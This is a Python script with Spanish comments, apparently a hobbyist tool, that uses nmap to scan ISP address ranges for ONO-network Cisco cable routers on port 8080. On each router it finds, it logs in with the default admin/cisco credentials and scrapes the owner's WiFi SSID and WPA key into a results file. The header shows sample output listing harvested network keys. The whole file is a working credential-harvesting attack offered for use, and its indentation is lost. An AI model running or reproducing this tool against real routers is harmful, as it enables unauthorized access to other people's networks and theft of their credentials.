#!/usr/bin/python


# REQUIERE python3 y python nmap http://xael.org/norman/python/python-nmap/

#  Script que aprovecha la configuración por defecto de los routers cisco de las redes ONOXXXXXX,
#  donde X son números, y almacena el resultado en un archivo.
#  Veamos un ejemplo útil:
#  Mi ISP, ONO en este caso, me ha dado la IP 81.202.10.10 y veo que tengo al alcance un par de redes vecinas
#  ONOXXXXXX, si quiero encontrar el key de las redes, siempre y cuando no se haya cambiado la configuración
#  por defecto del router, usaría:
#  
#  $./ono_cisco_crawler.py --range 81.202.0-20.0-255
#  $
#  $SSID=Jesusillo-----KEY=saratoga-----IP:81.202.0.3
#  $SSID=CHUPAMELADOSVECES-----KEY=********-----IP:81.202.0.2
#  $SSID=ONO111112-----KEY=TDISDUVW-----IP:81.202.0.1
#  $SSID=ONO111113-----KEY=EUVZYDXW-----IP:81.202.11.1
#  $SSID=ONO111114-----KEY=alejalen-----IP:81.202.20.1

#  Este ejemplo buscaria en el rango 81.202.0.0/81.202.20.255 donde es posible que se encuentren
#  las redes vecinas.El resultado se almacena en el archivo results.txt
#  Más opciones:
#  $./ono_cisco_crawler.py -h

###########################################
####USALO BAJO TU RESPONSABILIDAD #########
###########################################

# Author gorilla.maguila@gmail.com

import urllib, urllib.parse, urllib.request, http.client
from urllib.error import HTTPError, URLError
import os, io
import nmap
import sys, socket
import argparse


def hello():
lineList = ["     _______________________________________",
      "    / @Scriptkiddies: USE IT AT YOUR OWN RISK!!  \ ",
               "    |                                            |",
               "    \ Author:         gorilla.maguila@gmail.com  /",              
                "     --------------------------------------- ",
" \   ^__^",
" \  (==)\,_______",
"    (__)\       )\/\ ",
" ||----w |",
" ||     ||"]
for line in lineList:
print(line)

def caveats():
lineList = ["     ___________________________________________",
      "    / Looks like you haven't found many Targets.\ ",
               "    | Try increasing timeout and decreassing    |",
               "    | parallelism!  Example:                    |",
      "    \./ono.py --range *.*.*.* --t 1550m --p 5   /",
               "     -------------------------------------------",
" \   ^__^",
" \  (**)\,_______",
"    (__)\       )\/\ ",
"     U ||----w |",
" ||     ||"]
for line in lineList:
print(line)

#Escaneo de puertos

def scan(range, timeout, parallelism, file):
  
try:
nm = nmap.PortScanner()
host_list = []
user_arguments = '-sT -P0 -p 8080 --host-timeout '+timeout+' --max-parallelism '+parallelism
print("\n\nUsing Nmap Arguments :", user_arguments)
print('Finding Possible Targets..............\n')
#Probamos con un rango de IP's de ONO
nm.scan(hosts=range, arguments=user_arguments)
#hosts_list = [(x, nm[x]['status']['state']) for x in nm.all_hosts()]
#print('\n\nFinding Possible Targets..............\n')
#while nm.still_scanning():
#print("Waiting")
#nm.wait(0)
for host in nm.all_hosts():
if(nm[host]['tcp'][8080]['state'] == 'open'):
print(host)
host_list.append(host)
if (host_list == []):
print("No Suitable hosts Found!")
#sys.exit(0)
else:
if (len(host_list) < 10):
caveats()
print('\nTargets Acquaried!')
print('Let\'s Check Targets....\n')
for x in host_list:
check_url(x,file)
except nmap.PortScannerError:
print('Nmap not found', sys.exc_info()[0])
sys.exit(0)
except:
print("Unexpected error:", sys.exc_info()[0])
sys.exit(0)



#def callback_result(host, scan_result):
#if(state == 'open'):
# if(scan_result['scan'][host]['tcp'][8080]['state'] == 'open'):
# print(host)
 

def check_url(url, file):
  
req = urllib.request.Request("http://"+url+":8080/Docsis_system.asp")
try:
urllib.request.urlopen(req, timeout=5)
except HTTPError as e:
print('HTTP Error:',e.code,"on",url)
print('Skipping!')
except URLError as e:
print('URL Error:',e.reason,"on",url)
print('Skipping!')
except socket.error as e:
print('Socket Error:', e,"on", url)
print('Skipping!')
except (http.client.BadStatusLine):
print('Looks like tcpwrapped port on',url)
print('Skipping!')
else:
try:
#Cogemos el SSID
_url = "http://" + url + ":8080/goform/Docsis_system"
values = {'username_login' : 'admin', 'password_login' : 'cisco','LanguageSelect' : 'en'
, 'Language_Submit' : '0' , 'login' : 'Log+In' }
data = urllib.parse.urlencode(values)
binary_data = data.encode('ascii')
req = urllib.request.Request(_url, binary_data)
resp = urllib.request.urlopen(req, timeout=5)
except HTTPError as e:
print('HTTP Error:',e.code,"on",url)
print('Skipping!')
except URLError as e:
print('URL Error:',e.reason,"on",url)
print('Skipping!')
except socket.error as e:
print('Socket Error:', e,"on", url)
print('Skipping!')
except (http.client.BadStatusLine):
print('Looks like tcpwrapped port on',url)
print('Skipping!')
else:
page = resp.read().decode("utf-8")
if page.find("name=\"ssid\""):
 ###Dirty Dirty please hack (Seguro que hay mejores formas)
 ###Busco dos elementos únicos, los establezco como índices de referencia
 ###para mostrar los posibles tamaños de la SSID, ya que a veces no son fijos
 ###es decir, si se ha cambiado el password a 12345 y esperamos un password de tamaño 8,
 ###mostraríamos 12345 más tres caracteres de código html, por lo que establecems puntos
 ###de referencia para evitarlo. Estoy seguro que hay métodos más elegantes
 
index = page.find("name=\"ssid\"")
count = page.find("Security Mode")
ssid = page[index+19:count-62]
try:
#Cogemos la clave

_url = "http://" + url + ":8080/goform/Quick_setup"
values =  {'Password' : '' , 'PasswordReEnter' : '' , 'setup_wifi_enable' : 'enable','ssid' : ssid, 'security_mode' : 'psk2_mixed',
'wpa_enc' : 'tkip%2Baes',  'wpa_psk_key' : '********' , 'UnhiddenPresharedKey' : '0x01', 'radius_ip_1' : '0', 'radius_ip_2' : '0',
'radius_ip_3' : '0', 'radius_ip_4' : '0', 'keysize' : '64', 'tx_key' : '1', 'h_setup_wifi_enable' : 'enable',
'h_security_mode' : 'psk2_mixed', 'h_wpa_enc' : 'tkip%2Baes', 'UserId' : ''}
data  = urllib.parse.urlencode(values)
binary_data = data.encode('ascii')
req = urllib.request.Request(_url, binary_data)
resp = urllib.request.urlopen(req, timeout=5)
except HTTPError as e:
print('HTTP Error:',e.code,"on",url)
print('Skipping!')
except URLError as e:
print('URL Error:',e.reason,"on",url)
print('Skipping!')
except socket.error as e:
print('Socket Error:', e,"on", url)
print('Skipping!')
except (http.client.BadStatusLine):
print('Looks like tcpwrapped port on',url)
print('Skipping!')
else:
page = resp.read().decode("utf-8")
if page.find("name=\"wpa_psk_key\""):
index = page.find("name=\"wpa_psk_key\"")
count = page.find("<!--radius")
key = page[index+51:count-371]
result = "SSID="+ssid+"-----KEY="+key+"-----IP:"+url
#print("SSID=",ssid,"KEY=",key,"IP:",url)
#Write to file
print(result)
file_io(file,result)

def file_io(file, line):
try:
fout = open(args.file, "a")
fout.write("".join(line)+"\n")
fout.close()
except IOError as errno:
print(errno)


#
#Start
#
if __name__ == '__main__':

parser = argparse.ArgumentParser()
parser.add_argument('--range', dest = 'range', action = 'store',
help = 'Single/Range Ip Address to scan')
parser.add_argument('--t', dest = 'timeout', action = 'store',
default = '200m', help = 'Host timeout during scanning')
parser.add_argument('--p', dest = 'parallelism', action = 'store',
default = '20', help = 'Max parallell host scanned')
parser.add_argument('--w', dest = 'file', action = 'store',
default = 'results.txt', help = 'File output name')
args = parser.parse_args()
if(args.range == None):
print("Usage ./ono_cisco_crawler.py -h for more information")
else:
hello()
scan(args.range, args.timeout, args.parallelism, args.file)